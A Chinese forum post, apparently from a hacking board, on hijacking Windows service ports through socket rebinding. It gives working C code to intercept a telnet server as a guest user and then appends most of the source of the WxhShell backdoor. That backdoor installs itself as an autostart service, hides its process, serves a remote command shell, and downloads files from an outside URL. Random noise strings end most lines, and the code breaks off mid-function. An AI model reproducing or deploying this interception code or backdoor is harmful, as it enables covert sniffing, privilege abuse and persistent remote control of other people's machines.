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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iev02 8M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =\ ]5C  
"HI&dC  
  saddr.sin_family = AF_INET; kj_ o I5<'  
h^ wu8E   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \x D.rBbt  
 ,r\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ *W)r~ "~  
fWo}gH~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SSH))zJ  
i> Wsc?  
  这意味着什么?意味着可以进行如下的攻击: x { Z_rD  
B3 fKb#T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fLM5L_S}Y  
)EQWc0iKG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vsc)EM ]  
F*" "n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B->3/dp2c'  
rH@ {[~p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i*-[-hn-V  
:&*Y Io  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y(gL.08<  
~*aPeJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f|U;4{ k  
L9(mY `d>"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7wKN  
Wp7lDx  
  #include -!d'!; ]  
  #include -J7BEx  
  #include zx<:1nF,]  
  #include    2% ],0,o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \VQv "wid  
  int main() Da.eVU;  
  { ]B8`b  
  WORD wVersionRequested; lG[@s 'j  
  DWORD ret; =j,2  
  WSADATA wsaData; S$O+p&!X  
  BOOL val; l|WdJn o  
  SOCKADDR_IN saddr; m/ D ~D~  
  SOCKADDR_IN scaddr; qUNK Dt  
  int err; }le}Vuy\s  
  SOCKET s; Y~ku?/"6T  
  SOCKET sc; awYnlE/Z1  
  int caddsize; _p;>]0cc.  
  HANDLE mt; L!:8yJK  
  DWORD tid;   {J#SpG 7  
  wVersionRequested = MAKEWORD( 2, 2 ); l(&3s:Ud  
  err = WSAStartup( wVersionRequested, &wsaData ); c lhmpu  
  if ( err != 0 ) { JATW'HWC|I  
  printf("error!WSAStartup failed!\n"); dJvT2s.t[  
  return -1; =|}_ASbzw  
  } R-2NJ0F7  
  saddr.sin_family = AF_INET; <V[Qs3uo(  
   +pcGxje\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ez()W,6]g  
eyM<#3\\S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 244[a] %&;  
  saddr.sin_port = htons(23); sd5%Szx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *A<vrkHz  
  { 6 &8uLM(z  
  printf("error!socket failed!\n"); P8& BtA  
  return -1; 38<Z=#S  
  } 9w)W|9  
  val = TRUE; 3@}rO~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T`ofj7$:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,J*C'#sW  
  { e]9Z]a2  
  printf("error!setsockopt failed!\n"); ` x|=vu-  
  return -1; pY~/<lzW  
  } +,g3Xqs}X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -- >q=hlA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?)-#\z=6G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uf}u`"$F  
M)qb6aD0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) twWzS 4;  
  { 6 2*p*t  
  ret=GetLastError(); 5eLm  
  printf("error!bind failed!\n"); 3< 'bi}{  
  return -1; `=Z3X(Kc  
  } 7Gwo:s L  
  listen(s,2); m7#v2:OD+  
  while(1) saa3BuV 6  
  { WGwIc7  
  caddsize = sizeof(scaddr); : L+%5Jq  
  //接受连接请求 8a8CY,n{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,{C hHnJ%#  
  if(sc!=INVALID_SOCKET) *|4/XHi  
  { ]N;\AXZ7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y*#YIS56I  
  if(mt==NULL) /lS5B6NU  
  { mHyT1e  
  printf("Thread Creat Failed!\n"); BUs={"Pa  
  break; T -p~8=I  
  } 3\ {?L  
  } koa-sy)#L  
  CloseHandle(mt); *x-@}WY$U  
  } =E w<s5C@  
  closesocket(s); eH ]9"^> o  
  WSACleanup(); 8-"D.b4  
  return 0; 5wa'SexqE  
  }   K>vi9,4/ks  
  DWORD WINAPI ClientThread(LPVOID lpParam) _iF*BnmN  
  { 9RPZj>ezjA  
  SOCKET ss = (SOCKET)lpParam; b_vKP  
  SOCKET sc; ` 7P%muY.  
  unsigned char buf[4096];  X`20=x  
  SOCKADDR_IN saddr; m-2!r*(zt  
  long num; nX_w F`n"  
  DWORD val; 8ZF!}kb0F  
  DWORD ret; }nRTw2-z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 34,'smHi%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K!,9qH  
  saddr.sin_family = AF_INET; Yosfk\D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \iRmGvT  
  saddr.sin_port = htons(23); G1a56TIN~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <{T5}"e  
  { pkf$%{"e  
  printf("error!socket failed!\n"); c'INmc I|  
  return -1; MCAWn H  
  } `>- 56 %  
  val = 100; D<g d)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \1O wZ@  
  { t"Bp # U1  
  ret = GetLastError(); `&:>?Y/X2  
  return -1; _fdD4-2U  
  } jmG)p|6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }` YtXD-o  
  { R; ui 4wg6  
  ret = GetLastError(); ZPG~@lU  
  return -1; kni{1Gr  
  } Iqci}G%r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :*ZijN*{)$  
  { VHi'~B#'*  
  printf("error!socket connect failed!\n"); <@$+uZt+  
  closesocket(sc); S.Q:O{]  
  closesocket(ss); Q?bCQZ{-Lh  
  return -1; %ol\ sO|  
  } 1QPz|3f@\  
  while(1) Ga_Pt8L6  
  { 8,IQ6Or|-2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]XASim:A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qe5;Pq !G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _^g4/G#13c  
  num = recv(ss,buf,4096,0); IF  cre  
  if(num>0) ]K'OH&  
  send(sc,buf,num,0); 0RjFa;j  
  else if(num==0) o!lKP>  
  break; AyNpY_B0c  
  num = recv(sc,buf,4096,0); v|KGzQx$.*  
  if(num>0) pD!j#suMA  
  send(ss,buf,num,0); <=Saf.  
  else if(num==0) 'jXJ!GFw  
  break; f _Hh"Vh  
  } :Q,~Nw>  
  closesocket(ss); @?jbah#  
  closesocket(sc); ;Y,zlq2  
  return 0 ; IML.6<,(Z  
  } CkRilS<  
S5:&_&R8[  
8>9MeDE  
========================================================== I/%L,XyRI  
29l bOi  
下边附上一个代码,,WXhSHELL RG=i74a  
voFg6zoV_  
========================================================== ]T{v~]7:{  
JAM]neKiX  
#include "stdafx.h" ILx4 [m7  
)%b 5uZ  
#include <stdio.h> DS9-i2  
#include <string.h> H|$ *HQm  
#include <windows.h> @ M4m!;rM  
#include <winsock2.h> vw$b]MO!  
#include <winsvc.h> A)gSOC{3F)  
#include <urlmon.h> .mNw^>:cq  
oVr:ZwkG3  
#pragma comment (lib, "Ws2_32.lib") wwet90_g  
#pragma comment (lib, "urlmon.lib") gi>W&6  
0e07pF/!  
#define MAX_USER   100 // 最大客户端连接数 (5A8#7a  
#define BUF_SOCK   200 // sock buffer F-F1^$]k  
#define KEY_BUFF   255 // 输入 buffer H]W'mm  
Ct^=j@g  
#define REBOOT     0   // 重启 )H`V\ H[0P  
#define SHUTDOWN   1   // 关机 x+TdTe;p  
da~_(giD*  
#define DEF_PORT   5000 // 监听端口 G^cMY$?99  
/;T tMQt  
#define REG_LEN     16   // 注册表键长度 m?gGFxo  
#define SVC_LEN     80   // NT服务名长度 YS@T Q?  
*Z\AO'h=Z  
// 从dll定义API $ce*W 9`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ly/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0176  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @FZ_[CYg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~N/a\%`  
*&I _fAh]  
// wxhshell配置信息 XwfR/4  
struct WSCFG { AyW=.  
  int ws_port;         // 监听端口 |26[=_[q  
  char ws_passstr[REG_LEN]; // 口令 h:|BQC  
  int ws_autoins;       // 安装标记, 1=yes 0=no XZS%az1%  
  char ws_regname[REG_LEN]; // 注册表键名 K2\)9  
  char ws_svcname[REG_LEN]; // 服务名 ^(Z%,j3O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vRn]u57O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M]M>z>1*v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y\4/M6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +]( #!}oH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W9oWj7&h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sb?Ua*(L:  
\3] O?'  
}; $BT[fJ'k  
GIT"J}b}  
// default Wxhshell configuration db=S*LUbl  
struct WSCFG wscfg={DEF_PORT, i`Qa7  
    "xuhuanlingzhe", 9 ~$E+ m(  
    1,  ;q5|If  
    "Wxhshell", H|7XfM  
    "Wxhshell", *_d N9  
            "WxhShell Service", ay| |yn:  
    "Wrsky Windows CmdShell Service", hrO9_B|#  
    "Please Input Your Password: ", {LVA_7@  
  1, BJ\81 R  
  "http://www.wrsky.com/wxhshell.exe", %!AzFL J|Z  
  "Wxhshell.exe" Vugb;5Vl  
    }; V rd16s  
uix/O*^  
// 消息定义模块 kma>'P`G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,L.V>Ae  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _"OE}$C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '/OQ[f=K  
char *msg_ws_ext="\n\rExit."; )Z|G6H`c3  
char *msg_ws_end="\n\rQuit."; yTn<5T[H  
char *msg_ws_boot="\n\rReboot..."; ^16zZ*  
char *msg_ws_poff="\n\rShutdown..."; R#.H&#  
char *msg_ws_down="\n\rSave to "; e2K9CE.O  
&cd>.&1<2  
char *msg_ws_err="\n\rErr!"; FA;-D5=  
char *msg_ws_ok="\n\rOK!"; T$AVMVq  
A0RSNAM  
char ExeFile[MAX_PATH]; FzP1b_i  
int nUser = 0; @/ nGc9h  
HANDLE handles[MAX_USER]; hg:$H9\%  
int OsIsNt; eX lJ=S}  
*W^a<Zm8>  
SERVICE_STATUS       serviceStatus; g HkHAOe/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?Bl/bY$*h  
&r*F+gL  
// 函数声明 ()w;~$J  
int Install(void); D%LYQ  
int Uninstall(void); Sv0?_3C  
int DownloadFile(char *sURL, SOCKET wsh); $.:x3TsA  
int Boot(int flag); }~NXiUe  
void HideProc(void);  ^u#iz  
int GetOsVer(void); Rjlp<  
int Wxhshell(SOCKET wsl); Yh;(puhyA  
void TalkWithClient(void *cs); Lz p}<B  
int CmdShell(SOCKET sock); tZVs0eVF<  
int StartFromService(void); `@WJ_-$#  
int StartWxhshell(LPSTR lpCmdLine); U 8p %MFD  
=yM%#{t&W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >p0,]-.J,r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WC37=8mA  
<%`Rku  
// 数据结构和表定义 :<k (y?GB  
SERVICE_TABLE_ENTRY DispatchTable[] = ZBFn  
{ km][QEXs%  
{wscfg.ws_svcname, NTServiceMain}, >}Bcv%zZ  
{NULL, NULL} Y)$%-'=b+  
}; /#&jF:h  
2"6qg>]-t  
// 自我安装 ^W9O_5\g4a  
int Install(void) _Gaem"k|  
{ arRU`6?  
  char svExeFile[MAX_PATH]; >;bym)  
  HKEY key; _Y/*e<bU  
  strcpy(svExeFile,ExeFile); HZ}Igw.Z  
=J]EVD   
// 如果是win9x系统,修改注册表设为自启动 *}';q`u }  
if(!OsIsNt) { ZZHzC+O#^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iz'Et'w8!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sKsMF:|OT  
  RegCloseKey(key); Rm79mh9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } XhL`%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?*yB&(a:8  
  RegCloseKey(key); aI ;$N|]u  
  return 0; ^,t@HN;gA  
    } GUqG1u z9  
  } 0!KYi_3  
} W,[QK~  
else { *)`PY4zF  
*5*#Z~dut8  
// 如果是NT以上系统,安装为系统服务 fA?v\'Qq/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9E8&~y  
if (schSCManager!=0) #"?pY5 ("  
{ k~K;r8D/  
  SC_HANDLE schService = CreateService S:`Gi>D  
  ( 0s H~yvM5  
  schSCManager, S w%6-  
  wscfg.ws_svcname, Jc}6kFgO6  
  wscfg.ws_svcdisp, @1gURx&2_  
  SERVICE_ALL_ACCESS, \>}#[?y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K|$ c#X  
  SERVICE_AUTO_START, +kEM%z  
  SERVICE_ERROR_NORMAL, Yb_HvP  
  svExeFile, -$:*!55:j  
  NULL,  ;Ss!OFK  
  NULL, /\uopa  
  NULL, 'UxI-L t  
  NULL, m&D I2he  
  NULL jb,a>9 ]p  
  ); "+Ys}t~2  
  if (schService!=0) +F60_O `  
  { .boB b<  
  CloseServiceHandle(schService); _G@Z n[v  
  CloseServiceHandle(schSCManager); 8 l)K3;q_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iM;Btv[|  
  strcat(svExeFile,wscfg.ws_svcname); GYiL}itD=3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3!/J!X3L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $d])>4eQ  
  RegCloseKey(key); 1%R${Qhr  
  return 0; D.%%D%AdB  
    } &!O?h/&X3  
  } +!px+*)bW  
  CloseServiceHandle(schSCManager); |4P8N{ L>O  
} K@xMPB8in  
} ~TXu20c  
rtQ{  
return 1; UBM#~~sM  
} u0sN[<  
$gz8! f?  
// 自我卸载 F?]J`F\I  
int Uninstall(void) Ta/zDc"e  
{ 2|i1}  
  HKEY key; UF6U5],`u  
~*y7%L4B  
if(!OsIsNt) { ; S$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L;?F^RK{U  
  RegDeleteValue(key,wscfg.ws_regname); cJ@fJ|  
  RegCloseKey(key); RU'a 8j+W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $joGda  
  RegDeleteValue(key,wscfg.ws_regname); YQFz6#Ew  
  RegCloseKey(key); =54D#,[B  
  return 0; DNgh#!\X  
  } qxAh8RR;/  
} E<u(Yw6=  
} z"\w9 @W  
else { &{glwVKV  
Qbjm,>H/^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lxgfi@@+h  
if (schSCManager!=0) ~MC 5rOA  
{ 59SL mj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [A {o"zY  
  if (schService!=0) xoj,>[7 D  
  { QGV#AID3XW  
  if(DeleteService(schService)!=0) { bV2a2#kj  
  CloseServiceHandle(schService); 0-{E% k  
  CloseServiceHandle(schSCManager); islHtX VE  
  return 0; \o2l;1~  
  } I+.U.e^gx  
  CloseServiceHandle(schService); LEtGrA/%@b  
  } ~,KrL(jC  
  CloseServiceHandle(schSCManager); %3TioM[B  
} tWzBQx   
} $uFvZ?w&  
cr ]b #z  
return 1; ni2 [K`  
} dMsS OP0E  
Bsg^[~jWJu  
// 从指定url下载文件 F:#5Edo}A  
int DownloadFile(char *sURL, SOCKET wsh) 8(y%]#n  
{ x0{B7/FN  
  HRESULT hr; S#oBO%!  
char seps[]= "/"; @6+_0^  
char *token; dqQJC qc!  
char *file; 8d8jUPFQ  
char myURL[MAX_PATH]; _=`DzudE  
char myFILE[MAX_PATH]; W.cc!8  
$8&Y(`  
strcpy(myURL,sURL); )6X-m9.X  
  token=strtok(myURL,seps); WjR2:kT  
  while(token!=NULL) TB&IB:4)R  
  { lDKyD`WKnZ  
    file=token; g@s`PBF7`  
  token=strtok(NULL,seps); ,YBO}l  
  } ,ZrR*W?iF  
"K9[P :nw  
GetCurrentDirectory(MAX_PATH,myFILE); Wf5;~RJC?  
strcat(myFILE, "\\"); 8mRZ(B>% X  
strcat(myFILE, file); oH v.EO  
  send(wsh,myFILE,strlen(myFILE),0); :eD-'#@$u  
send(wsh,"...",3,0); /4+Q; P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); na9YlJ\  
  if(hr==S_OK) \<xo`2b  
return 0; )16+Pm8  
else 3WwCo.q;m  
return 1; us1$  
<"`f!k#[  
} Ci 4c8  
J@<f*  
// 系统电源模块 %(6+{'j~#  
int Boot(int flag) W)]&G}U<  
{ p$x>I3C(\  
  HANDLE hToken; I8T*_u^_  
  TOKEN_PRIVILEGES tkp; Ah@e9`_r  
[Y.JC'F#  
  if(OsIsNt) { h`O$L_Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '-n Iy$>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F !OD*]  
    tkp.PrivilegeCount = 1; %uV,p!| )  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; # c1LOz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \nuz l   
if(flag==REBOOT) { 3_boEYl0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4G;KT~Cgb  
  return 0; xW9R -J \W  
} k'&1,78[l  
else { mC\<fo-u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?6ssSjR}  
  return 0; ;w]1H&mc*A  
} 9eP*N(m<  
  } EXH,+3fQp  
  else { AB+lM;_>  
if(flag==REBOOT) { >$CNR*}@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BdU .;_K  
  return 0; Ez-AQ'  
} ;g+fY 6  
else { '-I\G6w9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tBZ?UAe;  
  return 0; lFIaC}  
} x5smJ__/  
} lB/ ^  
;*FY+jM  
return 1; hv>Xr=RE  
} U1/ww-!Z  
9{S$%D  
// win9x进程隐藏模块 R8!~>$#C6)  
void HideProc(void) . 8ikcs  
{ [h' 22 W  
b">"NvlB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AA ~7"2e  
  if ( hKernel != NULL ) 47*2QL^zj  
  { E#tfCM6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZS/? pU~~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;"EDFH#W  
    FreeLibrary(hKernel); SJLs3iz_)  
  } "W4|}plnu  
Yh"9,Z&wiR  
return; ngd4PN>{4  
} #wvGS%  
7J$rA.tu  
// 获取操作系统版本 (M{wkQTO  
int GetOsVer(void) |d6/gSiF  
{ ;O,&MR{;|n  
  OSVERSIONINFO winfo; =)i^E9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y Kp@ n8A  
  GetVersionEx(&winfo); RhF< {U.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mKV31wvK}  
  return 1; pK_zq  
  else rij%l+%@#  
  return 0; ~mah.8G  
} 'aD"v>  
<j#IR  
// 客户端句柄模块 CV{ZoY  
int Wxhshell(SOCKET wsl) :U'n0\  
{ ).u>%4=6  
  SOCKET wsh; GuL0:,  
  struct sockaddr_in client; QL2 LIs  
  DWORD myID; F`,bFQ  
eDNY|}$}v  
  while(nUser<MAX_USER) HJ"sK5Q  
{ "iK'O =M  
  int nSize=sizeof(client); 0lYP!\J3]%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |rhB@k  
  if(wsh==INVALID_SOCKET) return 1; i^ILo,Q  
&,l7wK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3w[uc~f  
if(handles[nUser]==0) |@R/JGB^  
  closesocket(wsh); &lzCRRnvt  
else tN.BI1nB  
  nUser++; ,5t_}d|3C=  
  } ab)ckRC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r,vSDHb`j  
z [u!C/  
  return 0; N5cC!K  
} =R9`to|  
_XrlCLp: d  
// 关闭 socket {Q]7!/>>  
void CloseIt(SOCKET wsh) Z.aeE*Hs$  
{ K h&a#~c  
closesocket(wsh); |Df`Aq(eYJ  
nUser--; S4(?= ,^-  
ExitThread(0); ,L>{(Q)  
} 9 v ,y  
~Z#\f5yv@  
// 客户端请求句柄 [fkt3fS  
void TalkWithClient(void *cs) |-GbHfz  
{ 0BjP|API  
QT1oUP#*  
  SOCKET wsh=(SOCKET)cs; Q4N0j' QA  
  char pwd[SVC_LEN]; wn<k "6x  
  char cmd[KEY_BUFF]; gMZrtK`<  
char chr[1]; += gU`<\  
int i,j; = 4'r+2[  
z!k  
  while (nUser < MAX_USER) { 7vGAuTfi/@  
Yc5) ^v  
if(wscfg.ws_passstr) { EF 8rh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w5Ucj*A\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j \ #y  
  //ZeroMemory(pwd,KEY_BUFF); w/(2fU(  
      i=0; nAj +HLO  
  while(i<SVC_LEN) { y{tM|  
,|UwZ_.  
  // 设置超时 jcxeXp|00  
  fd_set FdRead; ~"R;p}5 "  
  struct timeval TimeOut; 0? KvR``Aj  
  FD_ZERO(&FdRead); *tDxwD7  
  FD_SET(wsh,&FdRead); HXqG;Fds(  
  TimeOut.tv_sec=8; $KGRpI  
  TimeOut.tv_usec=0; N{!@M_C^%R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WO+>W+|N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JVPLE*T  
eE0nW+i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GN|xd+O_  
  pwd=chr[0]; !JjNm*F[  
  if(chr[0]==0xd || chr[0]==0xa) { u H)v\Js  
  pwd=0; `DP4u\6_  
  break; bGp3 V. H  
  } IU]@%jA_:A  
  i++; eGbjk~,f'  
    } >T29kgF2  
ITU6Eq  
  // 如果是非法用户,关闭 socket anUH'mcK*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !OR %AdxB  
} 0'`#I  
nh"LdHqiDB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R&L^+?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,L(q/#p  
G\r>3Ys  
while(1) { t@BhosR-  
*;<oM]W_  
  ZeroMemory(cmd,KEY_BUFF); F4&`0y:  
'd<1;Ayw  
      // 自动支持客户端 telnet标准   U {s T %G  
  j=0; =l}XKl->  
  while(j<KEY_BUFF) { w"E.Va  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qI1J M =  
  cmd[j]=chr[0]; - I j  
  if(chr[0]==0xa || chr[0]==0xd) { mS-{AK  
  cmd[j]=0; R"JT+m  
  break; (V8lmp-F  
  } SRyot:l   
  j++; ]y/!GFQ  
    } {UOR_Vt!*  
=>)4>WT8A  
  // 下载文件 /p[lOg  
  if(strstr(cmd,"http://")) { Sh o] ~)XX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t1]sv VX,w  
  if(DownloadFile(cmd,wsh)) 4VlQN$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PZCOJK  
  else T_4y;mf!@O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rqi|8gKY  
  } 9$N~OZ;-*x  
  else { |z.Z='`  
OQby=}A  
    switch(cmd[0]) { zVtNT@1K>u  
  tc)4$"9)  
  // 帮助 VrZ6m  
  case '?': { ?C|b>wM/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Hlc\Mgy  
    break; 2S_7!|j  
  } 3 *[YM7y  
  // 安装 7D)i]68E  
  case 'i': { mMtX:  
    if(Install()) Bez 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (n~GKcA  
    else t3FfPV!P"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bl`vT3  
    break; >{w"aJ" F  
    } #F|w_P  
  // 卸载 8j&LU,  
  case 'r': { 'wP\VCL2>  
    if(Uninstall()) 4qLH3I[Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Qf(mn8  
    else TmO3hKaP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t(.xEl;Ma  
    break; $_&gT.>  
    } VA@t8H,  
  // 显示 wxhshell 所在路径 4l"oq"uc  
  case 'p': { RS1c+]rr  
    char svExeFile[MAX_PATH]; s*.&DN  
    strcpy(svExeFile,"\n\r"); Zjkrne{  
      strcat(svExeFile,ExeFile); hS7o=G[  
        send(wsh,svExeFile,strlen(svExeFile),0); !&8HA   
    break; xO` O$ie  
    } Oxhc!9F  
  // 重启 '6W|,  
  case 'b': { J+20]jI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n*GsM6Y&  
    if(Boot(REBOOT)) j69 2M.A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~xP4}gs1  
    else { fp2.2 @[  
    closesocket(wsh); I2<t?c:Pn<  
    ExitThread(0); p$OkWSi~  
    } f<aJiVP  
    break; h oL"K  
    } CYWL@<p,  
  // 关机 2<' 1m{  
